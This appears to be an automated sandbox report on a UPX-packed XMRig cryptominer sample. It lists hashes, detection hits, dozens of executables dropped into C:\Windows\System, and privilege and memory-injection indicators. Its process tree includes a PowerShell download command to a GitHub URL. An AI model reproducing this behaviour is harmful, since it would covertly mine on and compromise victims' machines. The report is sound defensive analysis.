xmrig | d64c489a730c4411e9d427c29e19d9906d248e39f011fcc2341fced78ca8e5c9

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
29/04/2024, 06:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
Size

1.9MB
MD5

06fe910c97da930b889f6e491f167554
SHA1

a34d449f144277b9702283e7ba944a9de6f25231
SHA256

d64c489a730c4411e9d427c29e19d9906d248e39f011fcc2341fced78ca8e5c9
SHA512

30c079961ce389f8bfe1c9cb86332d9ef2da3157f094cfeb48d573b3f3ea3596218e0fc40e9a13dca3600eced9b44459a830387b2e8008a41ebd5f5b370846bc
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflDrl/B:NABi

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 42 IoCs

miner

resource	yara_rule
behavioral2/memory/1180-377-0x00007FF6332E0000-0x00007FF6336D2000-memory.dmp	xmrig
behavioral2/memory/516-563-0x00007FF60C0C0000-0x00007FF60C4B2000-memory.dmp	xmrig
behavioral2/memory/628-625-0x00007FF7F1E00000-0x00007FF7F21F2000-memory.dmp	xmrig
behavioral2/memory/972-564-0x00007FF6D2060000-0x00007FF6D2452000-memory.dmp	xmrig
behavioral2/memory/1508-469-0x00007FF7089D0000-0x00007FF708DC2000-memory.dmp	xmrig
behavioral2/memory/4112-466-0x00007FF6455B0000-0x00007FF6459A2000-memory.dmp	xmrig
behavioral2/memory/228-429-0x00007FF7178B0000-0x00007FF717CA2000-memory.dmp	xmrig
behavioral2/memory/4908-378-0x00007FF785A50000-0x00007FF785E42000-memory.dmp	xmrig
behavioral2/memory/3228-325-0x00007FF61BDD0000-0x00007FF61C1C2000-memory.dmp	xmrig
behavioral2/memory/3628-322-0x00007FF618950000-0x00007FF618D42000-memory.dmp	xmrig
behavioral2/memory/3700-294-0x00007FF68AC50000-0x00007FF68B042000-memory.dmp	xmrig
behavioral2/memory/2184-291-0x00007FF750490000-0x00007FF750882000-memory.dmp	xmrig
behavioral2/memory/1128-248-0x00007FF60C440000-0x00007FF60C832000-memory.dmp	xmrig
behavioral2/memory/4752-203-0x00007FF6F5B20000-0x00007FF6F5F12000-memory.dmp	xmrig
behavioral2/memory/4740-200-0x00007FF760950000-0x00007FF760D42000-memory.dmp	xmrig
behavioral2/memory/384-160-0x00007FF7CF320000-0x00007FF7CF712000-memory.dmp	xmrig
behavioral2/memory/4988-128-0x00007FF600CC0000-0x00007FF6010B2000-memory.dmp	xmrig
behavioral2/memory/3860-84-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp	xmrig
behavioral2/memory/1148-3351-0x00007FF7BB310000-0x00007FF7BB702000-memory.dmp	xmrig
behavioral2/memory/3860-3350-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp	xmrig
behavioral2/memory/1984-3354-0x00007FF76FB20000-0x00007FF76FF12000-memory.dmp	xmrig
behavioral2/memory/1984-3369-0x00007FF76FB20000-0x00007FF76FF12000-memory.dmp	xmrig
behavioral2/memory/848-3371-0x00007FF6B8420000-0x00007FF6B8812000-memory.dmp	xmrig
behavioral2/memory/1508-3373-0x00007FF7089D0000-0x00007FF708DC2000-memory.dmp	xmrig
behavioral2/memory/1128-3375-0x00007FF60C440000-0x00007FF60C832000-memory.dmp	xmrig
behavioral2/memory/1148-3387-0x00007FF7BB310000-0x00007FF7BB702000-memory.dmp	xmrig
behavioral2/memory/972-3393-0x00007FF6D2060000-0x00007FF6D2452000-memory.dmp	xmrig
behavioral2/memory/4752-3395-0x00007FF6F5B20000-0x00007FF6F5F12000-memory.dmp	xmrig
behavioral2/memory/1180-3397-0x00007FF6332E0000-0x00007FF6336D2000-memory.dmp	xmrig
behavioral2/memory/3628-3399-0x00007FF618950000-0x00007FF618D42000-memory.dmp	xmrig
behavioral2/memory/3228-3403-0x00007FF61BDD0000-0x00007FF61C1C2000-memory.dmp	xmrig
behavioral2/memory/3700-3401-0x00007FF68AC50000-0x00007FF68B042000-memory.dmp	xmrig
behavioral2/memory/4908-3392-0x00007FF785A50000-0x00007FF785E42000-memory.dmp	xmrig
behavioral2/memory/2184-3389-0x00007FF750490000-0x00007FF750882000-memory.dmp	xmrig
behavioral2/memory/4740-3385-0x00007FF760950000-0x00007FF760D42000-memory.dmp	xmrig
behavioral2/memory/516-3383-0x00007FF60C0C0000-0x00007FF60C4B2000-memory.dmp	xmrig
behavioral2/memory/3860-3381-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp	xmrig
behavioral2/memory/4988-3380-0x00007FF600CC0000-0x00007FF6010B2000-memory.dmp	xmrig
behavioral2/memory/384-3377-0x00007FF7CF320000-0x00007FF7CF712000-memory.dmp	xmrig
behavioral2/memory/228-3434-0x00007FF7178B0000-0x00007FF717CA2000-memory.dmp	xmrig
behavioral2/memory/4112-3428-0x00007FF6455B0000-0x00007FF6459A2000-memory.dmp	xmrig
behavioral2/memory/628-3438-0x00007FF7F1E00000-0x00007FF7F21F2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
1984	IJBufBJ.exe
848	vnrBTJw.exe
1508	eNFhHRj.exe
3860	anJrWBd.exe
1148	vpcKeau.exe
516	bPJyzMM.exe
4988	OAfgvLi.exe
384	PFWKbFV.exe
4740	cFfvgXr.exe
4752	NiqnMwf.exe
1128	GTTYtXs.exe
972	vlyuRVv.exe
2184	aPPDStl.exe
3700	hqetvCH.exe
3628	BkbJQcu.exe
3228	OvRLXCJ.exe
628	zYjJrNx.exe
1180	TnHOfIv.exe
4908	AYTOdfd.exe
228	jlUdWbo.exe
4112	kUjbdJe.exe
4180	LllQPIb.exe
4504	KvuqSjN.exe
404	RjOrDAH.exe
3336	wYeykST.exe
2768	WHFSpDk.exe
2252	GJBCHOc.exe
5064	eUwolqo.exe
3796	JclFgVw.exe
4648	lSGrnBj.exe
4872	Vaxhdwl.exe
4952	UALbTKl.exe
2632	PQicVVK.exe
4656	toBtCiH.exe
4616	gqWGoId.exe
4492	CWvoaWN.exe
1288	OjTdvbg.exe
2904	hyYSwRX.exe
4756	nJmCPuJ.exe
2008	lYNDgPL.exe
4276	MKcTtAX.exe
1136	mMqLDjH.exe
4556	QfNfNyv.exe
4496	hGRVNWZ.exe
1788	FbxHQRQ.exe
4720	XdjErfR.exe
2520	stSMRRf.exe
4372	wZxdmJx.exe
3324	uopoxJE.exe
4900	HnCDFCH.exe
2824	ZaEEiAP.exe
4864	rdwiKUm.exe
1228	WOMFtXM.exe
432	bzfSkQV.exe
768	LgluDmv.exe
1564	sSKPUhr.exe
2288	fDQOlbc.exe
4484	vFxFkio.exe
3132	ehnXIUL.exe
928	eyxVwMW.exe
2224	ZxXztBm.exe
412	rinxexl.exe
4176	rDbGTmi.exe
4848	CZfttxP.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4624-0-0x00007FF744A10000-0x00007FF744E02000-memory.dmp	upx
behavioral2/files/0x0006000000023298-5.dat	upx
behavioral2/files/0x0008000000023413-8.dat	upx
behavioral2/files/0x0007000000023416-23.dat	upx
behavioral2/files/0x000700000002341b-45.dat	upx
behavioral2/files/0x000700000002342a-131.dat	upx
behavioral2/files/0x0007000000023435-161.dat	upx
behavioral2/memory/1180-377-0x00007FF6332E0000-0x00007FF6336D2000-memory.dmp	upx
behavioral2/memory/516-563-0x00007FF60C0C0000-0x00007FF60C4B2000-memory.dmp	upx
behavioral2/memory/628-625-0x00007FF7F1E00000-0x00007FF7F21F2000-memory.dmp	upx
behavioral2/memory/972-564-0x00007FF6D2060000-0x00007FF6D2452000-memory.dmp	upx
behavioral2/memory/1508-469-0x00007FF7089D0000-0x00007FF708DC2000-memory.dmp	upx
behavioral2/memory/4112-466-0x00007FF6455B0000-0x00007FF6459A2000-memory.dmp	upx
behavioral2/memory/228-429-0x00007FF7178B0000-0x00007FF717CA2000-memory.dmp	upx
behavioral2/memory/4908-378-0x00007FF785A50000-0x00007FF785E42000-memory.dmp	upx
behavioral2/memory/3228-325-0x00007FF61BDD0000-0x00007FF61C1C2000-memory.dmp	upx
behavioral2/memory/3628-322-0x00007FF618950000-0x00007FF618D42000-memory.dmp	upx
behavioral2/memory/3700-294-0x00007FF68AC50000-0x00007FF68B042000-memory.dmp	upx
behavioral2/memory/2184-291-0x00007FF750490000-0x00007FF750882000-memory.dmp	upx
behavioral2/memory/1128-248-0x00007FF60C440000-0x00007FF60C832000-memory.dmp	upx
behavioral2/memory/4752-203-0x00007FF6F5B20000-0x00007FF6F5F12000-memory.dmp	upx
behavioral2/memory/4740-200-0x00007FF760950000-0x00007FF760D42000-memory.dmp	upx
behavioral2/files/0x0007000000023439-194.dat	upx
behavioral2/files/0x0007000000023438-193.dat	upx
behavioral2/files/0x0007000000023437-183.dat	upx
behavioral2/files/0x0007000000023436-181.dat	upx
behavioral2/files/0x0007000000023420-178.dat	upx
behavioral2/files/0x0007000000023424-175.dat	upx
behavioral2/files/0x000700000002342c-165.dat	upx
behavioral2/files/0x000700000002342b-164.dat	upx
behavioral2/memory/384-160-0x00007FF7CF320000-0x00007FF7CF712000-memory.dmp	upx
behavioral2/files/0x0007000000023434-155.dat	upx
behavioral2/files/0x0007000000023433-154.dat	upx
behavioral2/files/0x0007000000023432-190.dat	upx
behavioral2/files/0x0007000000023431-152.dat	upx
behavioral2/files/0x0007000000023427-184.dat	upx
behavioral2/files/0x0007000000023422-148.dat	upx
behavioral2/files/0x000700000002341d-145.dat	upx
behavioral2/files/0x0007000000023421-143.dat	upx
behavioral2/files/0x0007000000023430-142.dat	upx
behavioral2/files/0x000700000002342f-141.dat	upx
behavioral2/files/0x0007000000023425-139.dat	upx
behavioral2/files/0x000700000002342e-138.dat	upx
behavioral2/files/0x000700000002342d-168.dat	upx
behavioral2/files/0x0007000000023429-130.dat	upx
behavioral2/memory/1148-121-0x00007FF7BB310000-0x00007FF7BB702000-memory.dmp	upx
behavioral2/files/0x0007000000023428-119.dat	upx
behavioral2/files/0x0007000000023426-110.dat	upx
behavioral2/files/0x0007000000023423-137.dat	upx
behavioral2/files/0x000700000002341e-95.dat	upx
behavioral2/memory/4988-128-0x00007FF600CC0000-0x00007FF6010B2000-memory.dmp	upx
behavioral2/files/0x000700000002341a-86.dat	upx
behavioral2/files/0x000700000002341f-71.dat	upx
behavioral2/files/0x0007000000023419-68.dat	upx
behavioral2/files/0x0007000000023418-64.dat	upx
behavioral2/memory/3860-84-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp	upx
behavioral2/files/0x000700000002341c-78.dat	upx
behavioral2/files/0x0007000000023417-48.dat	upx
behavioral2/files/0x0007000000023415-37.dat	upx
behavioral2/memory/848-26-0x00007FF6B8420000-0x00007FF6B8812000-memory.dmp	upx
behavioral2/files/0x0007000000023414-33.dat	upx
behavioral2/memory/1984-15-0x00007FF76FB20000-0x00007FF76FF12000-memory.dmp	upx
behavioral2/memory/1148-3351-0x00007FF7BB310000-0x00007FF7BB702000-memory.dmp	upx
behavioral2/memory/3860-3350-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\XfflaPC.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\dyZLFoJ.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\IZfFOkP.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\MLuWUQj.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\GdKRgtS.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\MFgjIOD.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\pnoPfln.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\SvRCgFE.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\ULGENUO.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\MARjOlI.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\EOoHUzH.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\tGrPcOE.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\bJDQOxt.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\JBYUFgx.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\osJErPS.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\qvMMLCo.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\YDTpijV.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\WIyGEFA.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\UllmNBs.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\wIcIKNq.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\IrRFVCt.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\scJyhpo.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\LzLRBFY.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\YCffzTX.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\hExuzUp.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\vMiUSCK.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\GbFuiFI.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\jhnizPv.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\cyKtPOk.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\dUgWsjB.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\knaxheh.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\QZtKxXx.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\xctxczp.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\WJUNCft.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\zphVWNx.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\lxjzFbh.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\XtAVNcG.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\TKFAnMR.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\oKDwviI.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\CuCAXBU.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\pYmDzKk.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\tDmsiqw.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\LOHheUr.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\EXFmKMj.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\KAJKziG.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\yXSWIFI.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\CMXbELD.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\XFAHHhs.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\OmyXObD.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\WBllURX.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\GYQVjAG.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\JGKpumm.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\MYSzSCg.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\ngRKTLM.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\yzJHVAU.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\ynBAlBN.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\sQeAsMb.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\kcdUwly.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\hZKczXu.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\ZoTzWwx.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\xwvnCHI.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\CuEgVmb.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\UmfGEgs.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
File created	C:\Windows\System\FCevCzM.exe	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
Token: SeDebugPrivilege	3540	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 3540	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	82
PID 4624 wrote to memory of 3540	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	82
PID 4624 wrote to memory of 1984	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	83
PID 4624 wrote to memory of 1984	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	83
PID 4624 wrote to memory of 848	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	84
PID 4624 wrote to memory of 848	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	84
PID 4624 wrote to memory of 1508	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	85
PID 4624 wrote to memory of 1508	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	85
PID 4624 wrote to memory of 3860	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	86
PID 4624 wrote to memory of 3860	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	86
PID 4624 wrote to memory of 1148	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	87
PID 4624 wrote to memory of 1148	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	87
PID 4624 wrote to memory of 516	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	88
PID 4624 wrote to memory of 516	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	88
PID 4624 wrote to memory of 4988	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	89
PID 4624 wrote to memory of 4988	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	89
PID 4624 wrote to memory of 384	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	90
PID 4624 wrote to memory of 384	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	90
PID 4624 wrote to memory of 4740	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	91
PID 4624 wrote to memory of 4740	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	91
PID 4624 wrote to memory of 4752	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	92
PID 4624 wrote to memory of 4752	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	92
PID 4624 wrote to memory of 1128	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	93
PID 4624 wrote to memory of 1128	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	93
PID 4624 wrote to memory of 3700	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	94
PID 4624 wrote to memory of 3700	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	94
PID 4624 wrote to memory of 972	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	95
PID 4624 wrote to memory of 972	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	95
PID 4624 wrote to memory of 2184	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	96
PID 4624 wrote to memory of 2184	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	96
PID 4624 wrote to memory of 228	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	97
PID 4624 wrote to memory of 228	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	97
PID 4624 wrote to memory of 3628	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	98
PID 4624 wrote to memory of 3628	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	98
PID 4624 wrote to memory of 3228	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	99
PID 4624 wrote to memory of 3228	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	99
PID 4624 wrote to memory of 5064	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	100
PID 4624 wrote to memory of 5064	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	100
PID 4624 wrote to memory of 628	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	101
PID 4624 wrote to memory of 628	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	101
PID 4624 wrote to memory of 1180	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	102
PID 4624 wrote to memory of 1180	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	102
PID 4624 wrote to memory of 4908	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	103
PID 4624 wrote to memory of 4908	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	103
PID 4624 wrote to memory of 4112	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	104
PID 4624 wrote to memory of 4112	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	104
PID 4624 wrote to memory of 4180	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	105
PID 4624 wrote to memory of 4180	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	105
PID 4624 wrote to memory of 4504	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	106
PID 4624 wrote to memory of 4504	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	106
PID 4624 wrote to memory of 404	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	107
PID 4624 wrote to memory of 404	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	107
PID 4624 wrote to memory of 3336	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	108
PID 4624 wrote to memory of 3336	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	108
PID 4624 wrote to memory of 2768	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	109
PID 4624 wrote to memory of 2768	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	109
PID 4624 wrote to memory of 2252	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	110
PID 4624 wrote to memory of 2252	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	110
PID 4624 wrote to memory of 3796	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	111
PID 4624 wrote to memory of 3796	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	111
PID 4624 wrote to memory of 4648	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	112
PID 4624 wrote to memory of 4648	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	112
PID 4624 wrote to memory of 4872	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	113
PID 4624 wrote to memory of 4872	4624	06fe910c97da930b889f6e491f167554_JaffaCakes118.exe	113

C:\Users\Admin\AppData\Local\Temp\06fe910c97da930b889f6e491f167554_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\06fe910c97da930b889f6e491f167554_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3540
- C:\Windows\System\IJBufBJ.exe
  C:\Windows\System\IJBufBJ.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\vnrBTJw.exe
  C:\Windows\System\vnrBTJw.exe
  2⤵
  - Executes dropped EXE
  PID:848
- C:\Windows\System\eNFhHRj.exe
  C:\Windows\System\eNFhHRj.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\anJrWBd.exe
  C:\Windows\System\anJrWBd.exe
  2⤵
  - Executes dropped EXE
  PID:3860
- C:\Windows\System\vpcKeau.exe
  C:\Windows\System\vpcKeau.exe
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Windows\System\bPJyzMM.exe
  C:\Windows\System\bPJyzMM.exe
  2⤵
  - Executes dropped EXE
  PID:516
- C:\Windows\System\OAfgvLi.exe
  C:\Windows\System\OAfgvLi.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\PFWKbFV.exe
  C:\Windows\System\PFWKbFV.exe
  2⤵
  - Executes dropped EXE
  PID:384
- C:\Windows\System\cFfvgXr.exe
  C:\Windows\System\cFfvgXr.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\NiqnMwf.exe
  C:\Windows\System\NiqnMwf.exe
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Windows\System\GTTYtXs.exe
  C:\Windows\System\GTTYtXs.exe
  2⤵
  - Executes dropped EXE
  PID:1128
- C:\Windows\System\hqetvCH.exe
  C:\Windows\System\hqetvCH.exe
  2⤵
  - Executes dropped EXE
  PID:3700
- C:\Windows\System\vlyuRVv.exe
  C:\Windows\System\vlyuRVv.exe
  2⤵
  - Executes dropped EXE
  PID:972
- C:\Windows\System\aPPDStl.exe
  C:\Windows\System\aPPDStl.exe
  2⤵
  - Executes dropped EXE
  PID:2184
- C:\Windows\System\jlUdWbo.exe
  C:\Windows\System\jlUdWbo.exe
  2⤵
  - Executes dropped EXE
  PID:228
- C:\Windows\System\BkbJQcu.exe
  C:\Windows\System\BkbJQcu.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\OvRLXCJ.exe
  C:\Windows\System\OvRLXCJ.exe
  2⤵
  - Executes dropped EXE
  PID:3228
- C:\Windows\System\eUwolqo.exe
  C:\Windows\System\eUwolqo.exe
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Windows\System\zYjJrNx.exe
  C:\Windows\System\zYjJrNx.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\System\TnHOfIv.exe
  C:\Windows\System\TnHOfIv.exe
  2⤵
  - Executes dropped EXE
  PID:1180
- C:\Windows\System\AYTOdfd.exe
  C:\Windows\System\AYTOdfd.exe
  2⤵
  - Executes dropped EXE
  PID:4908
- C:\Windows\System\kUjbdJe.exe
  C:\Windows\System\kUjbdJe.exe
  2⤵
  - Executes dropped EXE
  PID:4112
- C:\Windows\System\LllQPIb.exe
  C:\Windows\System\LllQPIb.exe
  2⤵
  - Executes dropped EXE
  PID:4180
- C:\Windows\System\KvuqSjN.exe
  C:\Windows\System\KvuqSjN.exe
  2⤵
  - Executes dropped EXE
  PID:4504
- C:\Windows\System\RjOrDAH.exe
  C:\Windows\System\RjOrDAH.exe
  2⤵
  - Executes dropped EXE
  PID:404
- C:\Windows\System\wYeykST.exe
  C:\Windows\System\wYeykST.exe
  2⤵
  - Executes dropped EXE
  PID:3336
- C:\Windows\System\WHFSpDk.exe
  C:\Windows\System\WHFSpDk.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\GJBCHOc.exe
  C:\Windows\System\GJBCHOc.exe
  2⤵
  - Executes dropped EXE
  PID:2252
- C:\Windows\System\JclFgVw.exe
  C:\Windows\System\JclFgVw.exe
  2⤵
  - Executes dropped EXE
  PID:3796
- C:\Windows\System\lSGrnBj.exe
  C:\Windows\System\lSGrnBj.exe
